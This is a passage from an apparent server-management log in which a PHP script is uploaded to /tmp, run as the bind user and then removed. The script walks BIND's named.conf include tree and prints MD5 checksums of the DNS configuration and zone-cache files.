	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-24 11:06:52: 

runuser -l bind -s /bin/bash -c '/tmp/pkp386186; rm /tmp/pkp386186'

2026-03-24 11:06:52: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 5c27bd546fb502ce3d4635f83c2fb039
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-29 11:37:43: Establishing a connection
2026-03-30 16:46:13: Establishing a connection
2026-03-30 16:46:22: Establishing a connection
2026-03-30 16:46:22: 

PUT: /tmp/pkp346513

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-30 16:46:22: 

runuser -l bind -s /bin/bash -c '/tmp/pkp346513; rm /tmp/pkp346513'

2026-03-30 16:46:22: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
